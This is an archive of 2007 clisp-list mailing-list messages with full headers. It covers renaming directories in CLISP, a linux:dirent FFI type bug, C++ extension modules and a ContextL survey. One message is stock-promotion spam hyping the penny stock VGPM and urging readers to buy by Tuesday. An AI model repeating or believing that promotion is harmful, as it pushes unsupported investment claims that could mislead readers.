directory with CLISP (from CVS HEAD, on >> NetBSD/powerpc). However, RENAME-FILE doesn't do what I want: >> >> [1]> (rename-file "/tmp/foo/" "/tmp/bar/") >> >> *** - no file name given: #P"/tmp/foo/" >> >> [3]> (rename-file "/tmp/foo" "/tmp/bar") >> >> *** - RENAME-FILE: "/tmp/foo" names a directory, not a file >> >> Is that a bug or a feature? Should I use some other function? > > CLISP has traditionally taken the position that "file" and "directory" > are disjoint categories, so, if a function operates on "files", it > should reject "directories". > e.g., in CLISP, PROBE-FILE does not work on directories, while > EXT:PROBE-DIRECTORY does not work on files (those who want one probe > function, can use DIRECTORY). > in the case of RENAME-FILE, there is no function RENAME-DIRECTORY, =20 > so we > either need to make the former work on directories, or add the latter. > > what is the better option? To stay in the tradition, RENAME-DIRECTORY. The only downside, is that the current platforms are all more or less POSIX, where a directory "is a" file, so people would expect to use the same functions on files and directories. Still, I think that EXT:RENAME-DIRECTORY would be better, because =20 RENAME-FILE has some special treatment of its arguments that might not be =20 indicated for directories. --=20 __Pascal Bourguignon__ From sds@gnu.org Wed Aug 22 07:30:11 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1INrDk-0003Mj-OI for clisp-list@lists.sourceforge.net; Wed, 22 Aug 2007 07:30:11 -0700 Received: from www.janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1INrDi-00007x-SI for clisp-list@lists.sourceforge.net; Wed, 22 Aug 2007 07:30:08 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id A88204A0; Wed, 22 Aug 2007 10:30:26 -0400 Message-ID: <46CC4867.8040105@gnu.org> Date: Wed, 22 Aug 2007 10:29:59 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 To: Aurelio Bignoli References: <18123.5694.316496.742735@zayn.local.lan> In-Reply-To: <18123.5694.316496.742735@zayn.local.lan> X-Enigmail-Version: 0.95.3 X-Enigmail-Version: 0.95.3 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Bug in linux:dirent X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 22 Aug 2007 14:30:12 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Aurelio Bignoli wrote: > There is a problem with linux:dirent and linux:readdir: > > > CL-USER> (setf *dd* (linux:opendir "/usr/local/src/clisp/")) > # > CL-USER> (linux:readdir *dd*) > #S(LINUX:dirent :D_INO 19916 :D_OFF 0 :D_RECLEN 2 :D_TYPE 0 :D_NAME "") > CL-USER> (linux:readdir *dd*) > #S(LINUX:dirent :D_INO 19819 :D_OFF 0 :D_RECLEN 40960 :D_TYPE 24 :D_NAME "") > CL-USER> (linux:readdir *dd*) > #S(LINUX:dirent :D_INO 19917 :D_OFF 0 :D_RECLEN 11392 :D_TYPE 36 :D_NAME "") > CL-USER> (linux:readdir *dd*) > #S(LINUX:dirent :D_INO 19921 :D_OFF 0 :D_RECLEN 10368 :D_TYPE 41 :D_NAME "") > CL-USER> (linux:readdir *dd*) > #S(LINUX:dirent :D_INO 20051 :D_OFF 0 :D_RECLEN 5120 :D_TYPE 203 :D_NAME "") > CL-USER> (linux:readdir *dd*) > #S(LINUX:dirent :D_INO 20093 :D_OFF 0 :D_RECLEN 25088 :D_TYPE 124 :D_NAME "") > CL-USER> (linux:readdir *dd*) > #S(LINUX:dirent :D_INO 19919 :D_OFF 0 :D_RECLEN 53504 :D_TYPE 59 :D_NAME "") > CL-USER> (linux:readdir *dd*) > #S(LINUX:dirent :D_INO 19923 :D_OFF 0 :D_RECLEN 54912 :D_TYPE 117 :D_NAME "") > CL-USER> (linux:readdir *dd*) > #S(LINUX:dirent :D_INO 20091 :D_OFF 0 :D_RECLEN 32128 :D_TYPE 207 :D_NAME "") > CL-USER> (linux:readdir *dd*) > #S(LINUX:dirent :D_INO 20095 :D_OFF 0 :D_RECLEN 7808 :D_TYPE 53 :D_NAME "") > CL-USER> (linux:closedir *dd*) > 0 > CL-USER> > yep. a bug. please file a bug report on SF. thanks. > The d_name field should of course contain the file name instead of > garbage. The cause of the bug seems to be the definition of the d_off > field as off_t in linux:dirent: > > > CL-USER> (use-package :ffi) > T > CL-USER> (def-c-struct my-dirent > (d_ino long) > (d_off long) > (d_reclen ushort) > (d_type uchar) > (d_name (c-array-max character 256))) > > MY-DIRENT > CL-USER> (def-call-out my-readdir > (:name "readdir") > (:library "libglib.so") > (:language :stdc) > (:arguments (dirp c-pointer)) > (:return-type (c-ptr-null my-dirent))) > MY-READDIR > CL-USER> (setf *dd* (linux:opendir "/usr/local/src/clisp/")) > # > CL-USER> (my-readdir *dd*) > #S(MY-DIRENT :D_INO 19916 :D_OFF 2 :D_RECLEN 16 :D_TYPE 0 :D_NAME ".") > CL-USER> (my-readdir *dd*) > #S(MY-DIRENT :D_INO 19819 :D_OFF 1613824 :D_RECLEN 16 :D_TYPE 0 :D_NAME "..") > CL-USER> (my-readdir *dd*) > #S(MY-DIRENT :D_INO 19917 :D_OFF 2370688 :D_RECLEN 16 :D_TYPE 0 :D_NAME "CVS") > CL-USER> (my-readdir *dd*) > #S(MY-DIRENT :D_INO 19921 :D_OFF 2697344 :D_RECLEN 16 :D_TYPE 0 :D_NAME "doc") > CL-USER> (my-readdir *dd*) > #S(MY-DIRENT :D_INO 20051 :D_OFF 30086144 :D_RECLEN 16 :D_TYPE 0 :D_NAME "src") > CL-USER> (my-readdir *dd*) > #S(MY-DIRENT :D_INO 20093 :D_OFF 108814848 :D_RECLEN 16 :D_TYPE 0 :D_NAME "unix") > CL-USER> (my-readdir *dd*) > #S(MY-DIRENT :D_INO 19919 :D_OFF 289132800 :D_RECLEN 24 :D_TYPE 0 :D_NAME "benchmarks") > CL-USER> (my-readdir *dd*) > #S(MY-DIRENT :D_INO 19923 :D_OFF 326489728 :D_RECLEN 20 :D_TYPE 0 :D_NAME "emacs") > CL-USER> (my-readdir *dd*) > #S(MY-DIRENT :D_INO 20091 :D_OFF 332365184 :D_RECLEN 20 :D_TYPE 0 :D_NAME "tests") > CL-USER> (my-readdir *dd*) > #S(MY-DIRENT :D_INO 20095 :D_OFF 473243264 :D_RECLEN 20 :D_TYPE 0 :D_NAME "utils") > CL-USER> (linux:closedir *dd*) > 0 > CL-USER> > > > off_t is defined in modules/bindings/glibc/linux.lisp by the following > two def-c-type: > > (def-c-type __off_t long) > (def-c-type off_t __off_t) yeah, this is is a big problem with any ffi: how to figure out the types. alas, the only reliable way is to use a C compiler (i.e., C modules). the ffi relies on humans delivering correct type definitions, and this means changing the lisp files when the libc changes (and then old machines are no longer supported). I think I will try to implement (def-c-type foo) to mean "ask C compiler about size of foo". please file a bug report in the meantime... thanks. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFGzEhnPp1Qsf2qnMcRAqJ1AKCk87VIf48nt6sGCvaJIh33h09P6ACfbZTZ lMycrOMMULJn1ygF+CCC1bI= =taeT -----END PGP SIGNATURE----- From sds@gnu.org Wed Aug 22 08:35:51 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1INsFK-0004aV-Ln for clisp-list@lists.sourceforge.net; Wed, 22 Aug 2007 08:35:50 -0700 Received: from www.janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1INsFJ-0002Vh-V0 for clisp-list@lists.sourceforge.net; Wed, 22 Aug 2007 08:35:50 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id A7E808B8; Wed, 22 Aug 2007 11:36:08 -0400 Message-ID: <46CC57CD.1090801@gnu.org> Date: Wed, 22 Aug 2007 11:35:41 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 To: Pascal Bourguignon References: <87veb8i330.fsf@freemail.hu> <46CC4188.5080904@gnu.org> <8DE02796-E121-4FBE-81D9-6F3F25E52D9C@informatimago.com> In-Reply-To: <8DE02796-E121-4FBE-81D9-6F3F25E52D9C@informatimago.com> X-Enigmail-Version: 0.95.3 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Renaming directories X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 22 Aug 2007 15:35:52 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Pascal Bourguignon wrote: > On 22 août 07, at 16:00, Sam Steingold wrote: > >> -----BEGIN PGP SIGNED MESSAGE----- >> Hash: SHA1 >> >> Magnus Henoch wrote: >>> I'm trying to rename a directory with CLISP (from CVS HEAD, on >>> NetBSD/powerpc). However, RENAME-FILE doesn't do what I want: >>> >>> [1]> (rename-file "/tmp/foo/" "/tmp/bar/") >>> >>> *** - no file name given: #P"/tmp/foo/" >>> >>> [3]> (rename-file "/tmp/foo" "/tmp/bar") >>> >>> *** - RENAME-FILE: "/tmp/foo" names a directory, not a file >>> >>> Is that a bug or a feature? Should I use some other function? >> CLISP has traditionally taken the position that "file" and "directory" >> are disjoint categories, so, if a function operates on "files", it >> should reject "directories". >> e.g., in CLISP, PROBE-FILE does not work on directories, while >> EXT:PROBE-DIRECTORY does not work on files (those who want one probe >> function, can use DIRECTORY). >> in the case of RENAME-FILE, there is no function RENAME-DIRECTORY, >> so we >> either need to make the former work on directories, or add the latter. >> >> what is the better option? > > To stay in the tradition, RENAME-DIRECTORY. > > The only downside, is that the current platforms are all more or less > POSIX, where a directory "is a" file, so people would expect to use the > same functions on files and directories. > > Still, I think that EXT:RENAME-DIRECTORY would be better, because > RENAME-FILE > has some special treatment of its arguments that might not be > indicated for > directories. OK, please create an RFE on SF and post here a link - let us discuss it there. thanks. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFGzFfNPp1Qsf2qnMcRAm5PAKCV6isBVKjQyHNwIpwGmCJkiPHk8ACdF+7J O8XNxEpUeY9ba1mhXk7/H3U= =Xs1y -----END PGP SIGNATURE----- From pjb@informatimago.com Wed Aug 22 00:47:19 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1INkvr-0002J9-PG for clisp-list@lists.sourceforge.net; Wed, 22 Aug 2007 00:47:16 -0700 Received: from smtp27.orange.fr ([80.12.242.94]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1INkvp-0006RR-V4 for clisp-list@lists.sourceforge.net; Wed, 22 Aug 2007 00:47:15 -0700 Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf2703.orange.fr (SMTP Server) with ESMTP id C9C751C00097 for ; Wed, 22 Aug 2007 09:47:03 +0200 (CEST) Received: from localhost.localdomain (ASt-Lambert-153-1-49-227.w83-204.abo.wanadoo.fr [83.204.128.227]) by mwinf2703.orange.fr (SMTP Server) with ESMTP id B5A011C00084 for ; Wed, 22 Aug 2007 09:47:03 +0200 (CEST) X-ME-UUID: 20070822074703744.B5A011C00084@mwinf2703.orange.fr Received: by localhost.localdomain (Postfix, from userid 1000) id 15AA3190347; Wed, 22 Aug 2007 09:47:02 +0200 (CEST) To: clisp-list@lists.sourceforge.net Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwAQMAAABtzGvEAAAABlBMVEUAAAD///+l2Z/dAAAA oElEQVR4nK3OsRHCMAwF0O8YQufUNIQRGIAja9CxSA55AxZgFO4coMgYrEDDQZWPIlNAjwq9 033pbOBPtbXuB6PKNBn5gZkhGa86Z4x2wE67O+06WxGD/HCOGR0deY3f9Ijwwt7rNGNf6Oac l/GuZTF1wFGKiYYHKSFAkjIo1b6sCYS1sVmFhhhahKQssRjRT90ITWUk6vvK3RsPGs+M1RuR mV+hO/VvFAAAAABJRU5ErkJggg== X-Accept-Language: fr, es, en X-Disabled: X-No-Archive: no References: <87veb8i330.fsf@freemail.hu> From: Pascal Bourguignon Date: Wed, 22 Aug 2007 09:47:02 +0200 In-Reply-To: <87veb8i330.fsf@freemail.hu> (Magnus Henoch's message of "Wed, 22 Aug 2007 06:51:47 +0200") Message-ID: <87veb82eq1.fsf@thalassa.informatimago.com> User-Agent: Gnus/5.1008 (Gnus v5.10.8) Emacs/22.1.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO X-Mailman-Approved-At: Wed, 22 Aug 2007 17:20:00 -0700 Subject: Re: [clisp-list] Renaming directories X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 22 Aug 2007 07:47:19 -0000 Magnus Henoch writes: > I'm trying to rename a directory with CLISP (from CVS HEAD, on > NetBSD/powerpc). However, RENAME-FILE doesn't do what I want: > > [1]> (rename-file "/tmp/foo/" "/tmp/bar/") > > *** - no file name given: #P"/tmp/foo/" > > [3]> (rename-file "/tmp/foo" "/tmp/bar") > > *** - RENAME-FILE: "/tmp/foo" names a directory, not a file > > Is that a bug or a feature? Should I use some other function? It's a feature. Notice how the function is named rename-FILE, not rename-DIRECTORY. There is no such operation in CL. In clisp on linux, you can use LINUX:rename. On other OSes, you may use FFI to call a native function to rename directories. -- __Pascal Bourguignon__ http://www.informatimago.com/ NOTE: The most fundamental particles in this product are held together by a "gluing" force about which little is currently known and whose adhesive power can therefore not be permanently guaranteed. From pjb@informatimago.com Wed Aug 22 22:12:26 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IO4za-00068u-Hx for clisp-list@lists.sourceforge.net; Wed, 22 Aug 2007 22:12:26 -0700 Received: from smtp23.orange.fr ([80.12.242.50]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IO4zY-0004Ki-Rr for clisp-list@lists.sourceforge.net; Wed, 22 Aug 2007 22:12:26 -0700 Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf2304.orange.fr (SMTP Server) with ESMTP id 4CD0A1C00089 for ; Thu, 23 Aug 2007 07:12:18 +0200 (CEST) Received: from localhost.localdomain (ASt-Lambert-153-1-32-89.w81-249.abo.wanadoo.fr [81.249.79.89]) by mwinf2304.orange.fr (SMTP Server) with ESMTP id 2D0E91C00085 for ; Thu, 23 Aug 2007 07:12:18 +0200 (CEST) X-ME-UUID: 20070823051218184.2D0E91C00085@mwinf2304.orange.fr Received: by localhost.localdomain (Postfix, from userid 1000) id 622D463D1A8; Thu, 23 Aug 2007 07:12:17 +0200 (CEST) To: clisp-list@lists.sourceforge.net Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwAQMAAABtzGvEAAAABlBMVEUAAAD///+l2Z/dAAAA oElEQVR4nK3OsRHCMAwF0O8YQufUNIQRGIAja9CxSA55AxZgFO4coMgYrEDDQZWPIlNAjwq9 033pbOBPtbXuB6PKNBn5gZkhGa86Z4x2wE67O+06WxGD/HCOGR0deY3f9Ijwwt7rNGNf6Oac l/GuZTF1wFGKiYYHKSFAkjIo1b6sCYS1sVmFhhhahKQssRjRT90ITWUk6vvK3RsPGs+M1RuR mV+hO/VvFAAAAABJRU5ErkJggg== X-Accept-Language: fr, es, en X-Disabled: X-No-Archive: no References: <87veb8i330.fsf@freemail.hu> <46CC4188.5080904@gnu.org> <8DE02796-E121-4FBE-81D9-6F3F25E52D9C@informatimago.com> <46CC57CD.1090801@gnu.org> From: Pascal Bourguignon Date: Thu, 23 Aug 2007 07:12:17 +0200 In-Reply-To: <46CC57CD.1090801@gnu.org> (Sam Steingold's message of "Wed, 22 Aug 2007 11:35:41 -0400") Message-ID: <87wsvmzvf2.fsf@thalassa.informatimago.com> User-Agent: Gnus/5.1008 (Gnus v5.10.8) Emacs/22.1.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] Renaming directories X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 23 Aug 2007 05:12:26 -0000 Sam Steingold writes: > Pascal Bourguignon wrote: >> On 22 août 07, at 16:00, Sam Steingold wrote: >> >>> -----BEGIN PGP SIGNED MESSAGE----- >>> Hash: SHA1 >>> >>> Magnus Henoch wrote: >>>> I'm trying to rename a directory with CLISP (from CVS HEAD, on >>>> NetBSD/powerpc). However, RENAME-FILE doesn't do what I want: >>>> >>>> [1]> (rename-file "/tmp/foo/" "/tmp/bar/") >>>> >>>> *** - no file name given: #P"/tmp/foo/" >>>> >>>> [3]> (rename-file "/tmp/foo" "/tmp/bar") >>>> >>>> *** - RENAME-FILE: "/tmp/foo" names a directory, not a file >>>> >>>> Is that a bug or a feature? Should I use some other function? >>> CLISP has traditionally taken the position that "file" and "directory" >>> are disjoint categories, so, if a function operates on "files", it >>> should reject "directories". >>> e.g., in CLISP, PROBE-FILE does not work on directories, while >>> EXT:PROBE-DIRECTORY does not work on files (those who want one probe >>> function, can use DIRECTORY). >>> in the case of RENAME-FILE, there is no function RENAME-DIRECTORY, >>> so we >>> either need to make the former work on directories, or add the latter. >>> >>> what is the better option? >> >> To stay in the tradition, RENAME-DIRECTORY. >> >> The only downside, is that the current platforms are all more or less >> POSIX, where a directory "is a" file, so people would expect to use the >> same functions on files and directories. >> >> Still, I think that EXT:RENAME-DIRECTORY would be better, because >> RENAME-FILE >> has some special treatment of its arguments that might not be >> indicated for >> directories. > > OK, please create an RFE on SF and post here a link - let us discuss it > there. > thanks. Done. -- __Pascal Bourguignon__ http://www.informatimago.com/ NOTE: The most fundamental particles in this product are held together by a "gluing" force about which little is currently known and whose adhesive power can therefore not be permanently guaranteed. From mathew.vijay@gmail.com Tue Aug 28 04:13:42 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IPz0w-00052c-0V for clisp-list@lists.sourceforge.net; Tue, 28 Aug 2007 04:13:42 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1IPz0t-00043a-1h for clisp-list@lists.sourceforge.net; Tue, 28 Aug 2007 04:13:41 -0700 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.1/8.13.1) with ESMTP id l7SBDRBo014929 for ; Tue, 28 Aug 2007 13:13:27 +0200 Received: from parmbx02.ilog.biz (parmbx02.ilog.biz [172.17.1.75]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id l7SBCwF2023542 for ; Tue, 28 Aug 2007 13:12:59 +0200 Received: from honolulu.ilog.fr ([172.16.15.41]) by parmbx02.ilog.biz with Microsoft SMTPSVC(6.0.3790.3959); Tue, 28 Aug 2007 13:13:21 +0200 Received: by honolulu.ilog.fr (Postfix, from userid 1001) id E0335F1446; Tue, 28 Aug 2007 13:13:20 +0200 (CEST) Resent-From: Bruno Haible Resent-To: clisp-list@lists.sourceforge.net Resent-Date: Tue, 28 Aug 2007 16:43:20 +0530 Resent-Message-ID: <200708281313.20783.mathew.vijay@gmail.com> X-Spam-Checker-Version: SpamAssassin 3.1.1 (2006-03-10) on honolulu.ilog.fr X-Spam-Level: X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00 autolearn=ham version=3.1.1 Received: from parmbx02.ilog.biz [172.17.1.75] by honolulu.ilog.fr with POP3 (fetchmail-6.3.2) for (single-drop); Tue, 28 Aug 2007 12:58:50 +0200 (CEST) Received: from parmta01.ilog.biz ([172.17.1.24]) by parmbx02.ilog.biz with Microsoft SMTPSVC(6.0.3790.3959); Tue, 28 Aug 2007 08:40:42 +0200 Received: from ftp.ilog.fr ([81.80.162.195]) by parmta01.ilog.biz with Microsoft SMTPSVC(6.0.3790.3959); Tue, 28 Aug 2007 08:40:41 +0200 Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.186]) by ftp.ilog.fr (8.13.1/8.13.1) with ESMTP id l7S6efQ4015651 for ; Tue, 28 Aug 2007 08:40:41 +0200 Received: by nf-out-0910.google.com with SMTP id g16so1240679nfd for ; Mon, 27 Aug 2007 23:40:41 -0700 (PDT) Received: by 10.78.183.15 with SMTP id g15mr4525962huf.1188283240476; Mon, 27 Aug 2007 23:40:40 -0700 (PDT) Received: by 10.78.44.7 with HTTP; Mon, 27 Aug 2007 23:40:40 -0700 (PDT) Message-ID: Date: Tue, 28 Aug 2007 12:10:40 +0530 From: "Vijay Mathew" To: haible@ilog.fr MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline X-OriginalArrivalTime: 28 Aug 2007 06:40:41.0591 (UTC) FILETIME=[5A51E870:01C7E93E] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] CLISP extensions using C++ X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 28 Aug 2007 11:13:42 -0000 Hello Bruno, I am Vijay Mathew, a programmer from India. First of all thanks for creating the great CLISP! I want to add a module written in C++ as an extension to CLISP. As far as I can figure out the only way to do this is to wrap up the C++ interfaces in C functions, put these functions in a shared library and call them from a CLISP module. What will be the trade offs of this approach? Is there a better way to do this? Eagerly waiting for your reply... Vijay From zbronko.tomi@miracletruss.com Sat Sep 01 09:32:26 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IRVtZ-00013B-22 for clisp-list@lists.sourceforge.net; Sat, 01 Sep 2007 09:32:25 -0700 Received: from p57b8f64d.dip.t-dialin.net ([87.184.246.77]) by mail.sourceforge.net with smtp (Exim 4.44) id 1IRVtX-0005te-O9 for clisp-list@lists.sourceforge.net; Sat, 01 Sep 2007 09:32:24 -0700 Received: from [199.198.142.74] (helo=ygwez) by p57B8F64D.dip.t-dialin.net with smtp (Exim 4.62 (FreeBSD)) id 1IScwc-0001iD-38; Sat, 1 Sep 2007 18:34:26 +0200 Message-ID: <46D9940F.1070106@miracletruss.com> Date: Sat, 1 Sep 2007 18:32:15 +0200 From: User-Agent: Thunderbird 2.0.0.6 (Windows/20070728) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.8 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [87.184.246.77 listed in dnsbl.sorbs.net] 0.5 RCVD_IN_NJABL_DUL RBL: NJABL: dialup sender did non-local SMTP [87.184.246.77 listed in combined.njabl.org] Subject: [clisp-list] Make sure you read this before Tuesday X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 01 Sep 2007 16:32:26 -0000 VGPM goes after subscription gaming industry. VEGA PROMOTIONAL SYS, INC VGPM.PK $0.07 Subscription gaming becomes billion dollar industry. One online game pulled in over 471 Million in 2006 Subscription based games are VGPM's focus in the market. Read the news, see the potential, and get on VGPM Tuesday. From pc@p-cos.net Mon Sep 03 06:20:40 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1ISBr5-00065O-Sq for clisp-list@lists.sourceforge.net; Mon, 03 Sep 2007 06:20:39 -0700 Received: from dorado.vub.ac.be ([134.184.129.10]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ISB20-0007Nb-QI for clisp-list@lists.sourceforge.net; Mon, 03 Sep 2007 05:27:54 -0700 Received: from prog2.vub.ac.be (prog2.vub.ac.be [134.184.43.10]) by dorado.vub.ac.be (Postfix) with ESMTP id 0739E64E for ; Mon, 3 Sep 2007 14:27:40 +0200 (CEST) Received: from [134.184.43.64] (progpc14.vub.ac.be [134.184.43.64]) by prog2.vub.ac.be (Postfix) with ESMTP id 3E66B6932B5 for ; Mon, 3 Sep 2007 14:26:16 +0200 (CEST) Mime-Version: 1.0 (Apple Message framework v752.2) Content-Transfer-Encoding: 7bit Message-Id: <24385E37-E182-4FF6-A63A-CFAD6E8C5512@p-cos.net> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed To: clisp-list@lists.sourceforge.net From: Pascal Costanza Date: Mon, 3 Sep 2007 14:27:38 +0200 X-Mailer: Apple Mail (2.752.2) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] ContextL Survey September 2007 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 03 Sep 2007 13:20:40 -0000 Context-dependent behavior is becoming increasingly important for a wide range of application domains. Unfortunately, mainstream programming languages do not provide mechanisms that enable software entities to adapt their behavior dynamically to the current execution context. In collaboration with various researchers, we have developed a new programming technique called "Context-oriented Programming" (COP). ContextL - http://common-lisp.net/project/closer/contextl.html - is our first fully implemented and currently most mature programming language extension for COP and is built on top of the Common Lisp Object System (CLOS). ContextL has first been made available to the public in early 2005, and has already been adopted by a number of programmers. We would now like to assess how well ContextL has been received so far. Please consider participating in our first survey about ContextL - this will help us a lot to develop ContextL and related projects further (like Closer to MOP, etc.). You can find the survey and more information about it at http:// prog.vub.ac.be/~pcostanza/COP/survey.html Thanks a lot, Pascal -- Pascal Costanza, mailto:pc@p-cos.net, http://p-cos.net Vrije Universiteit Brussel, Programming Technology Lab Pleinlaan 2, B-1050 Brussel, Belgium From don-sourceforge-xxy@isis.cs3-inc.com Wed Sep 05 18:43:52 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IT6PQ-00031h-FN for clisp-list@lists.sourceforge.net; Wed, 05 Sep 2007 18:43:52 -0700 Received: from isis.cs3-inc.com ([66.166.0.98]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IT6PQ-0007D6-8T for clisp-list@lists.sourceforge.net; Wed, 05 Sep 2007 18:43:52 -0700 Received: by isis.cs3-inc.com (Postfix, from userid 501) id 003141A818F; Wed, 5 Sep 2007 18:43:51 -0700 (PDT) From: don-sourceforge-xxy@isis.cs3-inc.com (Don Cohen) To: clisp-list@lists.sourceforge.net Message-Id: <20070906014351.003141A818F@isis.cs3-inc.com> Date: Wed, 5 Sep 2007 18:43:51 -0700 (PDT) X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% 